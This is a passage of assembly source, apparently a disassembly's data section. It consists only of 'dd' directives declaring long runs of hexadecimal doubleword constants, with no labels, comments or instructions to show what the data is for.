		dd 16E9A2BFh, 0D6005061h, 1C8920EEh, 3AB79724h,	0F754B0Bh
		dd 94C7E19Eh, 7628F8BAh, 92319BD6h, 0F2587E8Bh,	64C50122h
		dd 498FF995h, 87CF19C8h, 0F2122692h, 13848A3Bh,	9F9EBB29h
		dd 0E4D0C2C2h, 0AAE5E0A2h, 1E3805BFh, 0B25E1BA7h, 0AD8D0472h
		dd 6F52E82Dh, 204D01FEh, 96B57EC5h, 590A40E2h, 64D29E22h
		dd 0A76B3406h, 0DA82D200h, 69F3D338h, 0BF9D5309h, 898020F5h
		dd 8E122985h, 120D84CEh, 0FADB6024h, 0B4ED21C0h, 9204731Ch
		dd 0AC3C6BEBh, 8254F3A8h, 27D70581h, 0B717803Eh, 0B1BAB08Ch
		dd 76885CC8h, 51314510h, 0B8B239A1h, 15EBA0F1h,	0BD29800Eh
		dd 0C1A5132h, 44476758h, 7AFA6214h, 602244C6h, 18AE535Ch
		dd 9DDEBC5Dh, 64076E61h, 38CEC993h, 745258B2h, 0A7CC0F4Eh
		dd 0DB23D6FEh, 33D180A3h, 8EB50D8h, 29719D09h, 6DD98C8Bh
		dd 71B3C031h, 7A26261Eh, 0E3872B52h, 0E4195E11h, 2824597h
		dd 0CEF8A5AFh, 0EDD23A9Dh, 0DBE343DCh, 0C66D6298h, 0AB75C928h
		dd 5B3DD217h, 0C08DDAAAh, 239F5C98h, 0A97EED2Bh, 0A2AC0357h
		dd 9828FF18h, 2C250165h, 9DB3D87h, 7BEC5FF8h, 89240E45h
		dd 0E9E81433h, 0BE020A26h, 0C08B9384h, 18444F47h, 0CA664960h
		dd 67F0DA27h, 601DE4ACh, 3430E8Eh, 5C881676h, 8B919C2Fh
		dd 7D9171F8h, 0FFB105EFh, 4CA270FAh, 3D16A500h,	3F65967Fh
		dd 0A60EF1F8h, 0E341C449h, 5E06B855h, 0D1AC21DAh, 8D99C03Dh
		dd 0DEC3B700h, 15B0850Dh, 0A5CC276Ah, 5E49A09Eh, 1CBCF86Fh
		dd 0C4201A48h, 0C1F2B70Fh, 3B16150Bh, 0A6EACF75h, 0A507B00Fh
		dd 636705BFh, 0EA0D9125h, 3093CF2h, 74C26DB5h, 1AC4826Dh
		dd 0CF45F161h, 74AF2DE0h, 354978B1h, 4A976Ch, 0E7D4C931h
		dd 4BA59027h, 4B6015C4h, 0ADA16012h, 0FA042AFEh, 61C1D59Eh
		dd 0C11409A9h, 3112D1Fh, 4075B30Bh, 7C2190B9h, 2AFEB726h
		dd 4D2A0FDCh, 95605A32h, 2CB18D31h, 0E1801383h,	5EAFE216h
		dd 0C96BBBh
		dd 0EF78152Eh, 4165BD8Bh, 1494210h, 19BF525h, 958942C1h
		dd 4467D71h, 634EEE81h,	0CAC0B7DBh, 0ED502A6Eh,	31109794h
		dd 0ED72893Bh, 52B08977h, 4300A908h, 0E781BCFBh, 5C222011h
		dd 0BD0A4A1Bh, 40B02149h, 6BE95EFAh, 3FE3C4B8h,	0D819A120h
		dd 6D9F0146h, 7EF19121h, 8B99F849h, 6BEFC15Bh, 0F7177AB7h
		dd 89EF6159h, 4D8E9508h, 26344FF7h, 37C5859Bh, 31C2C07Ch
		dd 6416DE08h, 520F4936h, 0B73E12B1h, 0A80E1B23h, 701D80B2h
		dd 0B4B415F2h, 85FB6969h, 58C3D70h, 0C5603CFFh,	0BFA5C0BEh
		dd 907F0F15h, 0B90E514Eh, 7F24F25Eh, 0F3819965h, 3F451541h
		dd 0C03F092h, 0E25469Ah, 80D737ECh, 7147783Dh, 0E10B9FEAh
		dd 42092D86h, 0DE73F748h, 6018A58h, 0CD984E1Ch,	0A90CE859h
		dd 0E660501Dh, 9FCEE4D6h, 1065D918h, 44D9878Ch,	5B9F601Ah
		dd 62D50ADEh, 3E9132FFh, 344F5C4Dh, 0C0009B7Fh,	880F5697h
		dd 517D302h, 0A7F95EB5h, 3FBB5F81h, 0BF181FD1h,	0E438CC1h
		dd 312BD3FFh, 7A953180h, 254FD5F9h, 0E0C8B67Bh,	1AAD642h
		dd 0B6296467h, 3179440Bh, 3C2AC28Eh, 476EE90Bh,	0E50089Fh
		dd 0D50B0913h, 9A0ED10h, 0B8A92686h, 5AC1486Dh,	1230B8DBh
		dd 89F1DDF5h, 0E242959Dh, 599DAF7h, 4C36522h, 4887A35Eh
		dd 0ADDE3ECEh, 7B7D3A90h, 8B80700Eh, 74D7929Dh,	9C50DDEh
		dd 2111F499h, 4667682h,	24EC0C81h, 48E95506h, 0D3CFB00Bh
		dd 8C97CD24h, 0DF171DEAh, 88528933h, 14289918h,	0CD901D5Eh
		dd 0E78AA693h, 935FFBE0h, 84609250h, 0DC7E96ADh, 0D0F57007h
		dd 34516FF1h, 9CCBBD09h, 5A08B713h, 0FF80479Ah,	8B0F35CBh
		dd 0BD12BC5Ah, 0A1A5EC13h, 76041152h, 4347C6E9h, 0CE785D93h
		dd 0D2F00FBBh, 0F034BD41h, 0DD249112h, 0F8632075h, 9C609034h
		dd 90D70A8Ch, 1398338h,	5061F226h, 0F2E1E990h, 6C6072CFh
		dd 25C15AAh, 32D4162Ah,	0AC6004BBh, 879D70FCh, 0B0252E96h
		dd 2FD50D91h, 0BDC8F004h, 3E204521h, 35802F4Ch,	683C47FDh
		dd 0BB608600h, 77D6EDAFh, 819D2D01h, 5E61B202h,	69F6347Ah
		dd 884F1147h, 8C00385Fh, 0D8E3F668h, 248160h, 22B2AFFBh
		dd 0F96FB05Fh, 0C38B2F16h, 0E8E08AE6h, 0A20123BDh, 844E5035h
		dd 0F03029B5h, 49C9B413h, 0C0812F80h, 615A67F0h, 749D021h
		dd 0E6D6293Ch, 2310A0CFh, 12F20147h, 95FDE05h, 22DD585h
		dd 90BED050h, 834D093Bh, 1E6E5171h, 0F4359Dh, 94BE7DF4h
		dd 55278D29h, 28746E0Dh, 97F7F08Bh, 8A0088B7h, 8554FF7h
		dd 6FE81C82h, 407BE661h, 8CCF3A85h, 6D217100h, 1FE24CC3h
		dd 0F9D20018h, 22B9A3F4h, 8101EED4h, 8DEF05F7h,	0FD6D5F60h
		dd 2C114912h, 7F00A135h, 0F9B8EE6Ah, 9291BD29h,	205F482Fh
		dd 4200EAD7h, 6A92C0F6h, 99AC00E3h, 42521991h, 542DCEF3h
		dd 3BA72418h, 0F924B154h, 4837A550h, 0B435EE07h, 0BA8D4CC1h
		dd 0CD10B776h, 5BFC2416h, 36093313h, 0D6371A12h, 0B9A4DE5Ah
		dd 160B603h, 522AAD85h,	53515956h, 0ACBABD7Eh, 0DC660783h
		dd 50C498DFh, 8D017C1Fh, 24446149h, 0DEBD58h, 6B33AABAh
		dd 0A6737084h, 60BBAB5Fh, 98D9DEF8h, 6D8B91B4h,	96B73D01h
		dd 4DB004DDh, 0A573EC0Eh, 0F0EAA3FEh, 28E8909h,	0FAE468BAh
		dd 0C9D026DEh, 7F8122B1h, 4D3DB53h, 0D16CD69h, 0A0F8B701h
		dd 101F060h, 0C5A5550Ah, 64564BA1h, 8F821054h, 780D7A24h
		dd 952916D8h, 0F2A7842Dh, 54C235B6h, 0F2F0CEE6h, 320E0E0Fh
		dd 26B8F71Dh, 2D86F513h, 0DB162EE5h, 0B585093h,	0DF425D3h
		dd 18000C64h, 2297FACFh, 178B5512h, 6F5B5EFBh, 0ABFC0351h
		dd 71E83084h, 2B0740B6h, 88D569FBh, 8C8A42Fh, 0E90D23F9h
		dd 0A97F172Ch, 3249ACDAh, 5978BF96h, 0C0C9CBAEh, 2EFD6E82h
		dd 7E6A88FEh, 0D99D4D89h, 3B230008h, 6EB95786h,	326C5F17h
		dd 3A30DC5Dh, 4BDEFF53h, 8244DB3Eh, 0D06C90CBh,	0DB94D38Ah
		dd 36F08080h, 1848ED0Dh, 0DAFE2825h, 0B69D2055h, 9E315E88h
		dd 0B943C01Ah, 58AAA102h, 0D4170F08h, 0FF8E455Ch, 0D3AAFD85h
		dd 0BD899D30h, 7E0658B1h, 8D3360A0h, 25302125h,	0CD455D03h
		dd 69BD9061h, 790437B8h, 13AF42F6h, 5115BDA0h, 33D93011h
		dd 193A0B05h, 79F5EF9Ah, 3A9C001Fh, 166DB210h, 92EC350Fh
		dd 4F8A20FEh, 0D9F2FD2Eh, 6D10DCB6h, 14A1E801h,	4D5D9589h
		dd 1AC9B50Bh, 28E64948h, 401DD6BDh, 788B1B09h, 5C339500h
		dd 0FF42A668h, 4D6601D2h, 0DC37D7B6h, 0D06E2B7Eh, 56823601h
		dd 605B3E1Bh, 31400DE9h, 5F19EC23h, 256FEF0Ah, 1105A700h
		dd 6051F8A3h, 5D79F0CCh, 5638EF0Fh, 27F1B582h, 105FFBA6h
		dd 2D213120h, 6C029EE9h, 0ADD4820Fh, 556D8660h,	0C18B256Ah
		dd 4AE01703h, 59F881C5h, 0B54FA710h, 91169149h,	0B5230BFEh
		dd 0AD48DF89h, 8F820D35h, 9539329h, 1812BCCh, 443902EFh
		dd 2351500Ch, 4863002Eh, 9017CF4Bh, 0F68700D8h,	1D5A7E10h
		dd 0C7280C6Fh, 424D803h, 0BDDED124h, 0DA0F34FEh, 0E86DC068h
		dd 34BF6620h, 0C3522A80h, 0BF67855Bh, 0F7E60F10h, 173D1EBCh
		dd 436DEDECh, 33A13BC5h, 7DA48F05h, 0E4BE0290h,	506D8F6Bh
		dd 0E37873F3h, 2D1E9027h, 2D1A2991h, 9A5F502h, 0DCC335DEh
		dd 0B494B818h, 244EC25h, 35F156F8h, 1ED18F6Dh, 56853189h
		dd 22BF8129h, 68508806h, 0F974D802h, 6D9FBF2Ah,	0D8831D91h
		dd 0D097FE0Ch, 345AEFA4h, 74805Ah, 67A806FDh, 27C7B000h
		dd 3E83BED2h, 92E92773h, 472DF79Ch, 1C28BD17h, 571B40B5h
		dd 4A4F6674h, 1E142B2Dh, 0FC1E4416h, 0C5BE6601h, 0ED9D8BC2h
		dd 0E6FAB945h, 3942E0ACh, 0B9AE2432h, 8BFA0555h, 412A3F9h
		dd 3029B503h, 2D95E9F4h, 444E0709h, 14FA337Ch, 27696181h
		dd 15F99021h, 0B10F4A18h, 96CABD83h, 840B1488h,	2D607745h
		dd 0F43C17B1h, 30211A3Fh, 20B01A79h, 174330F6h,	0FA5CE940h
		dd 2380459Eh, 14E85D6Dh, 0B7A588h, 0FD75EEBh, 0EC40F21Dh
		dd 5B72EF00h, 0A42196A3h, 0AAA03FCAh, 9A668EA7h, 0AA5EF626h
		dd 0F9B2CE05h, 87085B27h, 0AB39BD2Bh, 8B2EF13h,	0F9348D05h
		dd 1461C705h, 0B25821A7h, 0F0048DC1h, 3FF1C025h, 8B9052Dh
		dd 465C7F0Eh, 89170218h, 0D19CB5BCh, 7E6E1322h,	88770BFFh
		dd 1459E7h, 3DC8AC04h, 6D0049B1h, 91F2B45Bh, 4B67DBCh
		dd 0FD38B60h, 8BEBE88Ah, 2F364E5Eh, 0F96490F7h,	42AC5613h
		dd 47E0C900h, 18730A9h,	0B83829DEh, 0DF13DB93h,	5FFE3600h
		dd 2F12BE50h, 9069262Ah, 7E108B4h, 0D981E90Dh, 19FB086Fh
		dd 6921A227h, 0F3F7120Ah, 223A586Fh, 0F31235E8h, 0C445EDABh
		dd 0C7F671E4h, 0C57D00E5h, 8AE43885h, 0FA00494Eh, 0EFE629BEh
		dd 6BA2F2Ch, 0BBB3D7Fh,	0E02C04Ch, 0F2521B19h, 9088F55Bh
		dd 0BD960007h, 793EC9B1h, 0D7795FDFh, 2051A9Fh,	0D222D9AEh
		dd 0E7D6BF35h, 0D5017580h, 9F403Bh, 0F947B0E7h,	0C2565B97h
		dd 84521D5Dh, 7E888529h, 0F93485Eh, 6AC4D12Fh, 0ABFF9100h
		dd 6DE5AB9h, 0A4507AEh,	9F5738B1h, 1F7614Ah, 28B03EDFh
		dd 0CD2A93h, 2C8DAB41h,	2E6D2D2Eh, 8600DA6Ah, 0CE0EB331h
		dd 397A1589h, 96804F91h, 2411AC9Bh, 0F8D800CBh,	1DDDF60Ah
		dd 0A7F46D88h, 0BF365603h, 0C1760D43h, 0EE285F5Eh, 0BFC8B0D7h
		dd 3EC93F24h, 0C2A26D27h, 3640EA8Ah, 1D27B589h,	0AAC5650Bh
		dd 0E537B521h, 4E825925h, 87BDFC72h, 0C9C037EBh, 0E386Fh
		dd 0D034AA45h, 292001E6h
		dd 0EF1DDA02h, 90E95E7Dh, 2D82ECh, 19AE520Dh, 0BAB4A381h
		dd 6B573624h, 0B1B53361h, 0C3004839h, 0CFD9DF81h, 0EEEC59FFh
		dd 0A026EC09h, 89492002h, 0BF215D9Dh, 0C45B9C32h, 24869158h
		dd 69DC5Dh, 9241F681h, 580243DEh, 10263DBEh, 5FFD7A17h
		dd 2FB7B59h, 0B9EF6BECh, 0E4E44707h, 4905601Bh,	0ED400579h
		dd 8C55699Dh, 2900F71Bh, 6E83EE37h, 0B488D2C1h,	27DC2806h
		dd 0CF6614BDh, 920F445h, 242B4F95h, 0E2AC94D7h,	2BD334D4h
		dd 30D26B9Bh, 0C8AB1068h, 0A8404CB4h, 4FB5FAA5h, 6BD6756Ah
		dd 9DCF1287h, 0B519BFE6h, 0F55B538Dh, 10D4387h,	0F8EEDE5h
		dd 0D09C32Bh, 0BD391159h, 4D9CAD92h, 276BCBAh, 37780D23h
		dd 0B382F08Bh, 0E9040631h, 23003FBAh, 0AD64071Bh, 45685021h
		dd 26981A84h, 0EFB2B2Fh, 0FC04715h, 53F06859h, 9CB8B060h
		dd 0A7E761E9h, 7D5F71B7h, 3775048Ch, 46A61F3Ah,	0E48258E1h
		dd 7ED6A4DFh, 0CB8053DBh, 31F55301h, 0D23CC04Fh, 3BF58946h
		dd 0EAF69275h, 76DF5AA0h, 34018A76h, 0E1B6BEDBh, 1D206DD6h
		dd 0E902404Dh, 7A350D60h, 3AF677Bh, 30F16BEEh, 0CFF158BFh
		dd 4C356699h, 2D15136Eh, 0F129E7DDh, 234A91BCh,	8B5DE16h
		dd 5401C123h, 1CEEC6F8h, 92DAC88Dh, 35BEAC00h, 16E98A84h
		dd 0DF2527C9h, 9E70F0C0h, 0A490EA90h, 5C83E800h, 0BE61186Ah
		dd 0F43D0262h, 2DB5097Ah, 3C600649h, 55DD80B0h,	39FAFDEh
		dd 0B0AC8C1Ch, 0E0B05352h, 2401A1B4h, 8BBBC41Bh, 0C758D9Dh
		dd 2819C342h, 0A6978057h, 0CDA58DC7h, 3FF6A43Bh, 6618005Dh
		dd 0EA3CA96Bh, 5AEC30BCh, 0BBD5F7B0h, 0BC05614Dh, 89950602h
		dd 91327DBDh, 3FFBF02h,	770BE5B5h, 8500B43Dh, 3BFFA1B1h
		dd 0DC28B4F5h, 21FC1C02h, 0C20EC192h, 125CC626h, 702FD59Dh
		dd 0D6715B39h, 7012DF06h, 4D4A6B1h, 0E9C99A5Ah,	26FEF197h
		dd 93A1F020h, 0F79E00B2h, 81DB0183h, 0AE05B3C6h, 0B605FA8h
		dd 0B989D6BCh, 8B914C63h, 135F3DBDh, 6FB98D21h,	35952905h
		dd 690C0F1Ah, 0A027F733h, 0B848EABh, 5FE4EB75h,	3CF56C18h
		dd 15F13600h, 9673E031h, 0C142AA8Bh, 0FA6981h, 4B71BA66h
		dd 1E18313h, 55251A1Fh,	28001CECh, 0A445C864h, 3C9C6Eh
		dd 75F9D56Fh, 0A656974Eh, 2E648B55h, 0C6F5C8h, 519A5281h
		dd 0AC27B173h, 858BFD04h, 5A0A13CDh, 2706913Ah,	0C5D718Bh
		dd 249E6061h, 2D183862h, 2B2BA21h, 742631A0h, 0EE12F4E1h
		dd 3010BD2Bh, 19F184C8h, 454F3214h, 0ECBD0914h,	153A91DCh
		dd 2F6295B4h, 0FCBDDD33h, 79E92727h, 3A919015h,	6321F6F0h
		dd 276BF2CAh, 7F4A199Dh, 0DEAF562Ah, 31452F03h,	0A237F30h
		dd 1748D670h, 14029168h, 4CC619B2h, 0D0915C9h, 20A6D2C2h
		dd 0B187A9E0h, 8AB8333Fh, 0BE0858D4h, 0CF7AC25h, 7A145E79h
		dd 239F028Ah, 220D3D95h, 9277ED9Dh, 0F6340D00h,	97A9BFE8h
		dd 311326C6h, 0CE50C595h, 9218C887h, 0DEE2C860h, 0FFDC8600h
		dd 3A91A8CCh, 1FB7633h,	2E7E7C64h, 0A06159F8h, 1D9C6670h
		dd 0A96612DCh, 85040C21h, 0B51429C5h, 0CB512581h, 0D8B05B2Ch
		dd 0B1121F51h, 0C6A8AC3Bh, 663FFC80h, 2F24F190h, 5D25021Bh
		dd 0D76FFE4Dh, 6AF63E00h, 0E1C480AFh, 9B4A2023h, 632A80A9h
		dd 4F322BEh, 9101192Eh,	294A2D1h, 20F40897h, 0FA254262h
		dd 0EEBD90B4h, 0E5B1840Fh, 0AB8B530Fh, 818AB19h, 95A41AFCh
		dd 9184FD13h, 924C578Bh, 2A29B910h, 0D680298Bh,	0F80132Dh
		dd 0BF4CA081h, 0A68515E5h, 0E402626h, 3F360ABEh, 2FB40B47h
		dd 9C09CEDh, 4B77DD40h,	82CCF0ABh, 85C7EA12h, 6E6A0D9Dh
		dd 0EC060150h, 61A5FA35h, 566E2Bh, 0EB1DCF31h, 5A9D6107h
		dd 0AE6F52E9h, 0ABB3F2E6h, 76697DE1h, 0C0A1F27Bh, 90BAC147h
		dd 0F00E0DEAh, 0D823EA81h, 145EC283h, 79E40211h, 858DE4FFh
		dd 0EC235A1Eh, 0CDEB5057h, 2589DC10h, 869ED98Ah, 1AC22B58h
		dd 4879F048h, 4D38093Bh, 6E37FC5Ah, 3C50B7C0h, 813BD003h
		dd 1945323Ah, 70A9C484h, 2ECAB22Dh, 4434D9E9h, 0F9CDC1C8h
		dd 40030014h, 64FCD3Ch,	329C5C2h, 12ACCF8Bh, 0E90B41F9h
		dd 1C5BB0F8h, 0C6D1030Ch, 4D311920h, 12DE08F6h,	0AE5F1B10h
		dd 7E720729h, 18B5117h,	0A9811057h, 0B51446B0h,	0C033590Bh
		dd 4A6EF7C3h, 70BE245Fh, 0D26847F6h, 0D49AA710h, 820CA910h
		dd 12EB7B30h, 32EDDAFDh, 0D3EB0E61h, 0F340FAFCh, 3DAA768h
		dd 2A86042Bh, 2288BAB8h, 580B6179h, 0C2C1C081h,	83B35796h
		dd 699A40BCh, 7AB98074h, 84370011h, 95B8CA0Ch, 0BF240BF3h
		dd 808073F5h, 30FFAEDFh, 14BE0966h, 0E7E459C9h,	7763D900h
		dd 3AE1C61h, 11DB14F9h,	0E93DF6B9h, 6E92A389h, 0AC809CF1h
		dd 309A0B1Ch, 0B0CF0EAEh, 18E0A37Fh, 0D540D147h, 503AF460h
		dd 1E6E82ECh, 47D78B66h, 0D5F3DAF1h, 70698436h,	8F94FA66h
		dd 0E6232100h, 0BD121AA2h, 434F00D5h, 8899B01h,	0DA58BF0Fh
		dd 115F048Ch, 5880481Ah, 0A1CEC2EAh, 17805B96h,	5A9776BEh
		dd 57954F57h, 0BB662F90h, 0E94B7A71h, 3F6710D0h, 0E57800FBh
		dd 0EBF3652h, 3E03CA62h, 8EA04EF4h, 2D78600Fh, 665F5660h
		dd 4516B802h, 4854E961h, 441374h, 3D63BF41h, 0C6E5A46Ah
		dd 7B05F101h, 97296B38h, 0E87FE3F0h, 638B0013h,	0A35D2F5h
		dd 8F0EF00Bh, 8CEFDB02h, 452177h, 2538D2EDh, 0FF0FBC16h
		dd 0BD31F00h, 1892D0BAh, 0BBA50E0Ah, 1DAE8390h,	1A7DDEE0h
		dd 970085E3h, 0E833741Fh, 50DACB9Ah, 83B5CEh, 7278901Eh
		dd 0FE08107Fh, 0E17CE400h, 32C29485h, 68183D3Bh, 8B208730h
		dd 4314AC17h, 0E120DB3Ah, 0FD186DD1h, 28C19A05h, 74204197h
		dd 1031D2F1h, 0C8EFEB0Ah, 0E941807Eh, 38685ED2h, 94326D00h
		dd 33D759CCh, 61D32620h, 8ABB0E6Bh, 3EAB3098h, 448580Fh
		dd 0C0F632Fh, 80083047h, 58365021h, 8C1B63F8h, 0E0B80D22h
		dd 501618F2h, 30AB98AEh, 1181BDAh, 0BCF13B14h, 4BB70089h
		dd 4F1E3ACAh, 168733AFh, 2100AB09h, 92CA43D7h, 5EE65FCh
		dd 64901D9Eh, 0C880070h, 3FDADBB4h, 2304378h, 8B397883h
		dd 0C912F033h, 3080F389h, 674F9CEEh, 9949B33h, 5321000Ch
		dd 8520C03Bh, 0E3077F36h, 82060410h, 0B032EC5Ah, 0CA4A303Ah
		dd 471E3711h, 0D888B188h, 58230142h, 8D5D7450h,	209BC54Ah
		dd 30434842h, 3315D2EFh, 90D4DB0Ah, 0E7430710h,	0EA5045D2h
		dd 3A48CAh, 2768214h, 95C0F664h, 109CC205h, 0B400ACD2h
		dd 7F98320Ah, 209978ABh, 6D008401h, 2E465D02h, 68EC1A0Ah
		dd 0DE942071h, 8026D33Ah, 6B6AB07Ah, 75802034h,	0BCC8A398h
		dd 36C19C80h, 0BBF51ACAh, 28848141h, 583960E9h,	37042349h
		dd 7D7111h, 90FB5831h, 0A06A1E1Fh, 0C6159C01h, 5173DB7Bh
		dd 36ED041h, 0CE94FD00h, 0BC3C3A0Ch, 0C0A44183h, 1F4E683Eh
		dd 28CA2208h, 4244C09Ch, 32D2F060h, 94F30A24h, 0E84070h
		dd 0F4CD78D2h, 2E064787h, 64C6A5F6h, 3718D90h, 6DE5C20Ch
		dd 8EE281CDh, 0DE820C80h, 80D40295h, 601410E4h,	8CE68840h
		dd 4C583A04h, 72624F04h, 5832A12Fh, 0B8D368D6h,	15CEC3C1h
		dd 0B0F1BB17h, 63F1D856h, 684AE424h, 9948B790h,	0B0E61024h
		dd 142A8C3Fh, 2024FDFCh, 0AADB0954h, 0E4110DF6h, 84C183Ch
		dd 571E39CAh, 0D640B2C4h, 549ECA44h, 81991000h,	5B635543h
		dd 7BBD3006h, 1AD32599h, 0E15D6E01h, 0D1A173E0h, 14784BF4h
		dd 0FCB743B6h, 0CC485238h
		dd 46C03E88h, 461E3BCAh, 0B02227h, 9BCA3EDCh, 0F65AA0B9h
		dd 0D7BDD217h, 0E3A54C01h, 10229995h, 0EE034423h, 0D40A34D2h
		dd 42207B62h, 3C7D2E6h,	3B257D23h, 71009EAAh, 54A847FDh
		dd 156D4BA9h, 0A8FF7F68h, 0D4ED760Bh, 0ADC7F100h, 960FE405h
		dd 21391889h, 16D2FCC3h, 142D99E4h, 0CCF49802h,	64C72E10h
		dd 0F4603EA0h, 0A7736D2h, 7A22F043h, 0D2EC4400h, 824A140h
		dd 1FB30152h, 0CDD68CABh, 7FA44211h, 9C444D42h,	8773146h
		dd 3F9CF0C0h, 514008C4h, 1504C039h, 0B0777300h,	0C16DECBFh
		dd 950C0308h, 3033BE41h, 8ABC5E12h, 0B867C02h, 7E90A7A1h
		dd 3EB7498Ch, 60D83ED6h, 49A5110h, 0A9441A8Ah, 512A4C88h
		dd 0E05B80B9h, 6BC0EBCEh, 9C2CBC78h, 584BD526h,	7C8FAA0Ah
		dd 7094674h, 9EED40E9h,	81F73ED0h, 0A07FF42Ah, 84C4BE58h
		dd 7E71F891h, 9FE2118h,	0FCB9CF00h, 0DCE6D2Bh, 8C6814BEh
		dd 6B28A450h, 796433E6h, 8AB99A70h, 7F2200C9h, 20D9D596h
		dd 0B410984Ch, 0E8F87361h, 3801149Bh, 3F044A58h, 0E88B7718h
		dd 3F75830h, 0F0E4CFDCh, 81ACD175h, 9B3D40h, 5084220Ah
		dd 416A7C79h, 75E2E1A5h, 88D44E60h, 41C3C0B3h, 0D7E21BA1h
		dd 1C06E101h, 7720881Eh, 804C8A4h, 4044FBDEh, 3DCA4860h
		dd 0C0371E21h, 0AACA40DAh, 0E7551E00h, 1718B3DDh, 0D025488Ch
		dd 4088BB85h, 0DA1E1080h, 9C009F4Eh, 0D4FBC06Ah, 0F2895CD2h
		dd 0B1BB13F3h, 23C03E7Fh, 0BCB4007Dh, 30801DB8h, 0A6C8150h
		dd 620E440h, 59DE02A1h,	47591016h, 0DF6400E4h, 0CB4D8BE9h
		dd 42CC0E0Ch, 51641170h, 209A410Dh, 0C4419D1Ah,	10885808h
		dd 0C200A322h, 24D40F7Eh, 44B1588Ch, 8C7DE8h, 0FD6E4424h
		dd 6F67D39Ah, 18F9A090h, 0EDC00834h, 7C4479Ch, 0C03C5440h
		dd 330028ECh, 0D751FA58h, 2A43D8ABh, 0EE48CE4h,	0B323B7E8h
		dd 82EB7940h, 0D3FC515h, 9C420055h, 681E6777h, 9C7C50B0h
		dd 41F510D6h, 33ED061Ch, 3490686h, 6CA92083h, 0A823F03Ch
		dd 0C0380136h, 0E679CF1h, 0C0405000h, 0C8862106h, 199CB907h
		dd 2041810Fh, 0A841BAA2h, 0ABF92A0Eh, 0A02D8020h, 24A6CFC8h
		dd 114C7904h, 0FF498B39h, 993F6784h, 0D920DA4Ch, 627CA41h
		dd 4238A8B0h, 941650E7h, 4000261Fh, 0DC6D0FD9h,	1A08EAC8h
		dd 0F0EF41F6h, 0AEE4A8E5h, 30B84C60h, 9615D112h, 891ADC08h
		dd 0C45B10Ah, 8760FDE4h, 80A4B1Bh, 8889344Ah, 0B933640Ch
		dd 0A183F3E4h, 0D10741A2h, 0EFEE2C8h, 8021BC04h, 50C872A0h
		dd 3D058CEDh, 17044558h, 4D018CCEh, 63265835h, 2FCDD410h
		dd 0A7AF9200h, 0E42209D4h, 64C9A80h, 0C81A6A71h, 49261183h
		dd 46741C87h, 71B000B1h, 56E06814h, 0D1C4A0ECh,	0F885841Ch
		dd 0BD61B0C4h, 71ECD8CCh, 21EA9C09h, 20580A25h,	913C1725h
		dd 6A3882ADh, 0B8D8E80Dh, 40C0AA68h, 8209DA2Ch,	66A49C82h
		dd 9455C00Ch, 3A099650h, 722310h, 6B6D9FEBh, 50900119h
		dd 0C5023304h, 84A48FA3h, 640A5086h, 20C0A8F6h,	0A08EE298h
		dd 0AFF58544h, 0CDC60A4h, 9E02EE4Bh, 9DF6A58h, 0E0F84DB1h
		dd 0D40D8AF6h, 74CBA805h, 580239D8h, 106CF860h,	109C0DADh
		dd 38B34676h, 10A7007Eh, 0EA898AE9h, 91D06FEh, 7191086Dh
		dd 991B7E30h, 1C5BA780h, 8E7C193Ah, 0F2049821h,	0B208A3C3h
		dd 638D307Fh, 133A1B5Ch, 0ECE8773Bh, 0F4A1A430h, 6700DF34h
		dd 0F885BDA5h, 1D0408FAh, 13F5E539h, 81E09B79h,	8F511E76h
		dd 75BCC83Ch, 9070168Ch, 0EE64086Fh, 1351AA84h,	20A328F7h
		dd 0EC783850h, 583C048Ch, 621F0446h, 344E2078h,	0AE00B658h
		dd 0EECC4849h, 6AA27FB8h, 1138D80Ch, 0C0368734h, 71579C32h
		dd 3E4E60A8h, 230034C0h, 1B2D6B08h, 0C98ED486h,	0E8E52948h
		dd 726176C4h, 0B14C0F4h, 0A6EABA1Ch, 47AD1E09h,	607B649Ch
		dd 41CE24Dh, 2A0A3AB8h,	0F214E128h, 0D5605441h,	1C23D0h
		dd 26599C7Ah, 0F873A8h,	540FCADCh, 2113396h, 9491C370h
		dd 9C18AC79h, 500D2B00h, 2ECE1625h, 68170BD5h, 98438D04h
		dd 18929ED8h, 0E89FAA30h, 20D0B83h, 0D320303Bh,	54525B13h
		dd 71AC1A10h, 0D5F89801h, 3090B93Dh, 33704A06h,	82BC5218h
		dd 145F1320h, 2042E774h, 0E43B34F2h, 0F46CB4h, 0EC51E9DDh
		dd 459BDE69h, 95CC8A1Fh, 6843D82h, 0F4F0E9E2h, 0E74041F6h
		dd 58083B18h, 7347044Bh, 0FF99C0EDh, 0A900BAB5h, 0C65171D1h
		dd 1624C48Eh, 5010D454h, 2105B820h, 7F7890h, 3DCC0B94h
		dd 23003C83h, 226B45E7h, 713B4AF6h, 1A6DF8D4h, 9079B2D8h
		dd 0AC448C67h, 3CB06167h, 0C5808A62h, 20B0A46Bh, 7E419E34h
		dd 289A70A0h, 6D4A91Ah,	0B6B3173Ch, 0A0B97021h,	0EA187379h
		dd 6A26BA00h, 51FE8433h, 22ACA010h, 528B1E90h, 712C2983h
		dd 5F1877h, 272109E8h, 315F7AFh, 260E040Ch, 491860F4h
		dd 0D3E9A8D3h, 0D79D9FD8h, 83740701h, 157E313Bh, 0FA70834h
		dd 0DE408DB7h, 89E83380h, 0CC03C763h, 0C68C133Ch, 0A4C1DF49h
		dd 0B1808F91h, 468DD039h, 321609FBh, 0EC90A588h, 13129508h
		dd 23B5E218h, 0C3B89400h, 753C6B01h, 9E8A59Ch, 0E480655Ch
		dd 4860600Ah, 0C91D0013h, 0A3FF6678h, 99C98E90h, 9ED8073Bh
		dd 98F3E640h, 3A229808h, 528C90BAh, 0A67886C0h,	828BC2Ch
		dd 7479465Eh, 0E7EE5B00h, 93255391h, 1DA904E2h,	8069BC98h
		dd 4DDE0A78h, 960F10B6h, 41222C16h, 0CB4C008Ch,	5EA48161h
		dd 0F609F2D4h, 10AA3943h, 2ED0E58h, 1668D156h, 0E87AAB9Ch
		dd 46FE7B1Eh, 0FA62DB81h, 0C841EF66h, 59FAE722h, 187379A4h
		dd 59144C61h, 9B122207h, 49D155Eh, 0BA7F8CCh, 2EA091BCh
		dd 6088EC4h, 687E5747h,	0BB541887h, 380113C8h, 9C198202h
		dd 7C7399AFh, 0E1300CA2h, 0BC0903DCh, 24E058C4h, 0E5470D8h
		dd 64B1A0Ch, 8C3059A8h,	0EFC03204h, 0CB2379Ch, 0C03A52C3h
		dd 0F3348598h, 7ABBF618h, 0D2A3B1h, 4C19D964h, 805DBD7Dh
		dd 66985600h, 0C4D1A09Fh, 0CCB65169h, 0A13D7C48h, 7862E3D4h
		dd 16A0E000h, 97EE47Dh,	4C074B1Fh, 0F1FF50C0h, 139D68F9h
